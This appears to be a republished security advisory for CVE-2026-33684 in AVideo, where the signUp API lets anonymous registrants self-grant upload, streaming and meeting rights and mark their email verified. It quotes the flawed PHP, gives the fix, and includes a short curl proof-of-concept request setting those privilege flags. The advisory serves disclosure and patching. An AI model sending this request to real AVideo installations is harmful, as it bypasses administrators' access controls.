Summary
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.
Details
The authentication check in set_api_signUp (plugin/API/API.php:4222) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):
// plugin/API/API.php:4222-4232
if ($obj->APISecret !== @$_REQUEST['APISecret']) {
if(empty($_REQUEST['captcha'])){
return new ApiObject("Captcha is required");
}
require_once $global['systemRootPath'] . 'objects/captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
if(!$valid){
return new ApiObject("Captcha is wrong, reload it and try again");
}
}
After this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:
// plugin/API/API.php:4238-4249
if (isset($_REQUEST['emailVerified'])) {
$global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
$global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
$global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
$global['canUpload'] = intval($_REQUEST['canUpload']);
}
These $global values are then consumed by User::save() (objects/user.php:829-840), which overrides the user object's permission fields:
// objects/user.php:829-840
if (isset($global['emailVerified'])) {
$this->emailVerified = $global['emailVerified'];
}
if (isset($global['canCreateMeet'])) {
$this->canCreateMeet = $global['canCreateMeet'];
}
if (isset($global['canStream'])) {
$this->canStream = $global['canStream'];
}
if (isset($global['canUpload'])) {
$this->canUpload = $global['canUpload'];
}
Note that even though userCreate.json.php:90 sets canUpload from the site's default configuration, User::save() subsequently overrides it with the attacker-controlled $global value.
The codebase already uses self::isAPISecretValid() to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in set_api_signUp.
PoC
# Step 1: Get a CAPTCHA token
# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)
# Step 2: Register with elevated privileges
curl -X POST 'https://target/plugin/API/set.json.php' \
-d 'APIName=signUp' \
-d 'user=attacker' \
-d 'pass=Password123!' \
-d '[email protected]' \
-d 'name=Attacker' \
-d 'captcha=VALID_CAPTCHA_TOKEN' \
-d 'emailVerified=1' \
-d 'canUpload=1' \
-d 'canStream=1' \
-d 'canCreateMeet=1'
# Expected: Account created with default (restricted) permissions
# Actual: Account created with upload, stream, and meet permissions enabled,
# plus email marked as verified
# Step 3: Verify elevated permissions by logging in and checking profile
curl -X POST 'https://target/plugin/API/set.json.php' \
-d 'APIName=signIn' \
-d 'user=attacker' \
-d 'pass=Password123!'
# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1
Impact
- Email verification bypass: Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality
- Unauthorized upload access: Self-granted upload permissions allow uploading potentially malicious video content to the platform
- Unauthorized streaming access: Self-granted streaming permissions allow unauthorized live streaming
- Unauthorized meeting creation: Self-granted meet permissions allow creating meetings on the platform
- Policy bypass: Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
CVE-2026-33684 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (29.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Wrap the privilege parameter handling in an isAPISecretValid() check so that only admin-authenticated requests can set these values:
// plugin/API/API.php, replace lines 4238-4249 with:
if (self::isAPISecretValid()) {
if (isset($_REQUEST['emailVerified'])) {
$global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
$global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
$global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
$global['canUpload'] = intval($_REQUEST['canUpload']);
}
}
Frequently Asked Questions
- What is CVE-2026-33684? CVE-2026-33684 is a medium-severity missing authorization vulnerability in wwbn/avideo (composer), affecting versions < 29.0. It is fixed in 29.0. The application does not perform an authorization check before performing a sensitive operation.
- How severe is CVE-2026-33684? CVE-2026-33684 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-33684? wwbn/avideo (composer) versions < 29.0 is affected.
- Is there a fix for CVE-2026-33684? Yes. CVE-2026-33684 is fixed in 29.0. Upgrade to this version or later.
- Is CVE-2026-33684 exploitable, and should I be worried? Whether CVE-2026-33684 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33684 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33684? Upgrade
wwbn/avideoto 29.0 or later.